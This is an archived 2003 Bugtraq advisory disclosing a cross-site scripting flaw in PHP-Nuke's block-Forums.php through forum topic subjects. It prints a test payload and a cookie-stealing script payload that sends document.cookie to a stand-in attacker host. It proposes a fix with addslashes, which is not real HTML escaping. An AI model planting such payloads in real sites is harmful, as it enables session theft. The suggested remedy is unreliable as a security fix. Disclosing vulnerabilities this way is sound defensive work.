[29565] in bugtraq
PHP-Nuke block-Forums.php subject vulnerabilities
daemon@ATHENA.MIT.EDU (lethalman@libero.it)
Mon Mar 31 18:28:35 2003
Date: 31 Mar 2003 11:15:54 -0000
Message-ID: <20030331111554.13224.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: <lethalman@libero.it>
To: bugtraq@securityfocus.com
The block-Forums.php file have a vuln if an attacker
insert a malformatted subject to a topic of Splatt
Forum. A type of subject is:
"><script>alert('bug'");</script>
The 'alt' tag is closed by "> and the other text is
normal html. This bug is very bad if a subject is:
"><script>window.open('www.attacker.com/prova.php?cookie='+document.cookie);</script>
And prova.php register cokkies in a file.
The solution:
Add under "$title2 = stripslashes($title2);" line, this
line:
"$title2 = addslashes($title2);"
And now, backward any " there is a backslash!